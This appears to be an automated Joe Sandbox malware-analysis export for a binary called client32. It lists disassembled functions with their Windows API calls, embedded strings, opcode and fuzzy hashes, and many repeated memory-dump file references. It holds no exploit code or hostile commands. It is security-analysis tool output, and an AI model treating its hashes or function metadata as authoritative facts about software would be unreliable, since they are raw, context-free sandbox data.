Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ColorInitialize$CriticalSection$AtomGlobal$CreateCurrentEnterEventIncrementInterlockedThread
String ID: NSMCobrowse
API String ID: 2361268844-2243205248
Opcode ID: 480f82f715d3db037f59bf22d8cff68ac2f134bddf303eff0ed238e57d294aba
Instruction ID: 226d89ac1b4541342643fefbc1fc1e817936d527e4f01f79d48319a6218e5bfa
Opcode Fuzzy Hash: 480f82f715d3db037f59bf22d8cff68ac2f134bddf303eff0ed238e57d294aba
Instruction Fuzzy Hash: 92513778904B85DFD720CFA9C59479EFBE4BF18308F5089ADD4AA93241DB747604CB62

Function 11009220 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 11009295
_memmove.LIBCMT ref: 110092E6

Part of subcall function 11008D80: std::_Xinvalid_argument.LIBCPMT ref: 11008D9A

Strings

string too long, xrefs: 11009290

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: string too long
API String ID: 2168136238-2556327735
Opcode ID: 91e1c889b45ef3916207e9bff09e53fb613e1cc83fc8da0f74f3339f2b8fe869
Instruction ID: be305049c21c6d802d82ad86ff43ec2f0153ea4b5fc4fe3555ff5b1edb8d11a0
Opcode Fuzzy Hash: 91e1c889b45ef3916207e9bff09e53fb613e1cc83fc8da0f74f3339f2b8fe869
Instruction Fuzzy Hash: 0A31DB32F046109BF720DD9CE88095AF7EDEFA57A4B20462FE58AC7740EB719C4487A0

Function 110394A0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 110394CC

Part of subcall function 1115F7E6: __getptd.LIBCMT ref: 1115F804

_strtok.LIBCMT ref: 1103959C

Strings

; >, xrefs: 110394C3, 11039595

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strtok$__getptd
String ID: ; >
API String ID: 715173073-2207967850
Opcode ID: 915faaa10ea82973ce28d20d980d52b504f97a74c46570bc484437df6252f26a
Instruction ID: f293b488e698f55d2374b640369896eddf6e6b7a39014645c10a29303e9d1088
Opcode Fuzzy Hash: 915faaa10ea82973ce28d20d980d52b504f97a74c46570bc484437df6252f26a
Instruction Fuzzy Hash: F7313B36E1426A6FDB11CFB48C80B9EBBE49F81359F154594DC94AB380F630AD45C7D1

Function 1101F550 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

DeleteObject.GDI32(?), ref: 1101F664

Part of subcall function 1115BD70: SetPropA.USER32(00000000,00000000), ref: 1115BD8E
Part of subcall function 1115BD70: SetWindowLongA.USER32(00000000,000000FC,1115B780), ref: 1115BD9F

Part of subcall function 1115AC80: SetPropA.USER32(?,?,?), ref: 1115ACD5

Strings

Chat Window Destroyed, xrefs: 1101F57B
OnDestroy - delete m_WBFrameWnd, xrefs: 1101F62A

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Prop$DeleteLongObjectWindow
String ID: Chat Window Destroyed$OnDestroy - delete m_WBFrameWnd
API String ID: 2163963939-4047192309
Opcode ID: f958c79b477abf9a0fea9acb7af46adbfcf8098553b161982d9ac6736f897051
Instruction ID: 09d21a9cb39090529c9d6542565f0688f2ad478e5cfbe18cf914d43a02743bba
Opcode Fuzzy Hash: f958c79b477abf9a0fea9acb7af46adbfcf8098553b161982d9ac6736f897051
Instruction Fuzzy Hash: C731E4B5B00701ABE350CF65D880F6FF7A6EF85718F14461DE86A5B390DB75B9008B92

Function 11143250 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32(00000400,?,00000000,00000000,?,00000401,?,?,?,?), ref: 111432DB
wvsprintfA.USER32(?,?,?), ref: 111432F2

Strings

ERROR TOO LONG: fmt_string=<%s>, s=<%.80s>, xrefs: 1114330A

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FormatMessagewvsprintf
String ID: ERROR TOO LONG: fmt_string=<%s>, s=<%.80s>
API String ID: 65494530-3330918973
Opcode ID: 4f255fee6f7a36d2343be92b14a67b8c036efb71b9771a05c8b56e11d64a2540
Instruction ID: 325346ff02c3342125f3bb2915ef43e6aa784d2796c19ba5a5be54d08933bc26
Opcode Fuzzy Hash: 4f255fee6f7a36d2343be92b14a67b8c036efb71b9771a05c8b56e11d64a2540
Instruction Fuzzy Hash: DA21B6B1D1422DAED710CB94DC81FEFFBBCEB44614F104169EA0993240DB75AA84CBA5

Function 1100F0F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 1100F10B

Part of subcall function 1115CBB3: std::exception::exception.LIBCMT ref: 1115CBC8
Part of subcall function 1115CBB3: __CxxThrowException@8.LIBCMT ref: 1115CBDD
Part of subcall function 1115CBB3: std::exception::exception.LIBCMT ref: 1115CBEE

std::_Xinvalid_argument.LIBCPMT ref: 1100F122

Strings

string too long, xrefs: 1100F106, 1100F11D

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw
String ID: string too long
API String ID: 963545896-2556327735
Opcode ID: ac563746f8d289c4c30f2701c9d81f44c6154b7c84ff09c16f1d9c640ce089b7
Instruction ID: 820ae926dfc744509ffc298ffbf7719e1583de006a97f4842800b066cd7400cd
Opcode Fuzzy Hash: ac563746f8d289c4c30f2701c9d81f44c6154b7c84ff09c16f1d9c640ce089b7
Instruction Fuzzy Hash: BA11D632B046145BE321DD5CE880BAAF7EDEF966A4F10066FF591CB640CBA1A80593A1

Function 11141430 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(?,?,00000104,75C07310), ref: 11141457
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 11141496

Strings

:, xrefs: 1114146B

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandFileModuleNameStrings
String ID: :
API String ID: 2034136378-336475711
Opcode ID: 76eb55f7976ca971e771bf37928c8bbd7d03770ae7a3fc3964c2ba1f648ec2b8
Instruction ID: d12c9fbe21fce9ebe84299b8ab088ed5ba47cc188f1fd16cec63c381e0116ac0
Opcode Fuzzy Hash: 76eb55f7976ca971e771bf37928c8bbd7d03770ae7a3fc3964c2ba1f648ec2b8
Instruction Fuzzy Hash: 90213774E043599BDB11CF68CC44BDAF7785B11708F1482D8D69497142DB707688CBA1

Function 111077C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 111077FF

Strings

Error Code Sent to Tutor is %d, xrefs: 111077E5
Error code %d not sent to Tutor, xrefs: 11107858

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memset
String ID: Error Code Sent to Tutor is %d$Error code %d not sent to Tutor
API String ID: 2102423945-1777407139
Opcode ID: 6bc18a6fb9de46a97dd7de0579a1005d3e50091a7a43bae75e928ee118e5710d
Instruction ID: 05f70618fc24f81ca1bf2eac47fe3f2b07301d45d4df9eaa1a4e9a8d01a2e45f
Opcode Fuzzy Hash: 6bc18a6fb9de46a97dd7de0579a1005d3e50091a7a43bae75e928ee118e5710d
Instruction Fuzzy Hash: A6110A35A0112CABDB10DF64DC41FEAF778EF45708F1040EAEE089B240DA316A44CB95

Function 110633A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,DC70C1FE,?,?,00000000,00000000,1117DF28,000000FF,?,1107076F,00000000), ref: 110633FE

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Strings

event, xrefs: 11063415
..\ctl32\Connect.cpp, xrefs: 11063410

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateErrorEventExitLastMessageProcesswsprintf
String ID: ..\ctl32\Connect.cpp$event
API String ID: 3621156866-397488498
Opcode ID: 7ee51be79d2020efe90e3a8a1d42f47f495943fc8ed238146bfeafd279e8fead
Instruction ID: 1e179fcce89b41eecb28e868e3bc3d371cf40be5e8a1825c7246c0f04d2a5f7d
Opcode Fuzzy Hash: 7ee51be79d2020efe90e3a8a1d42f47f495943fc8ed238146bfeafd279e8fead
Instruction Fuzzy Hash: 02115AB5A04715AFD720CF59C841B5AFBE8EB44B14F008A6AF8259B780DBB5A6048B90

Function 11019140 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 11019155

Part of subcall function 1115CBB3: std::exception::exception.LIBCMT ref: 1115CBC8
Part of subcall function 1115CBB3: __CxxThrowException@8.LIBCMT ref: 1115CBDD
Part of subcall function 1115CBB3: std::exception::exception.LIBCMT ref: 1115CBEE

_memmove.LIBCMT ref: 11019184

Strings

vector<T> too long, xrefs: 11019150

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: vector<T> too long
API String ID: 1785806476-3788999226
Opcode ID: 7f318a4f0ee09e05d674ed05e0d225db315ff90e224b0fed7e964b3f692f1594
Instruction ID: 308c0151805cc611b22231fe70dd9f684293cd40c739421a1377831650370b76
Opcode Fuzzy Hash: 7f318a4f0ee09e05d674ed05e0d225db315ff90e224b0fed7e964b3f692f1594
Instruction Fuzzy Hash: 6E0192B2E012059FD724CE69DC808A7B7E9EB95314715CA2EE59687704EA70F940CB90

Function 11127630 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,?), ref: 11127657

Part of subcall function 11126A80: GetProcAddress.KERNEL32(?,EnumProcesses), ref: 11126AA5

Strings

..\CTL32\tasklist.cpp, xrefs: 111276A2
FALSE, xrefs: 111276A7

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProcVersion
String ID: ..\CTL32\tasklist.cpp$FALSE
API String ID: 2540053943-3916168320
Opcode ID: 7cf0fbf2ecdb9e986a17d81715b050cbf5b30d4b869c24cc6055d1c67245c011
Instruction ID: e47c166634694b78a4fd032270d1423d3e397b229aecb58c970ebfb0a924349a
Opcode Fuzzy Hash: 7cf0fbf2ecdb9e986a17d81715b050cbf5b30d4b869c24cc6055d1c67245c011
Instruction Fuzzy Hash: 5801D430E0012D9BDB60DFA8A9417AEF3A8DB05208F9080E9DC0ADB680DF316E448781

Function 1100B580 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

Strings

Error. NULL capbuf, xrefs: 1100B591
Error. preventing capbuf overflow, xrefs: 1100B5B6

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
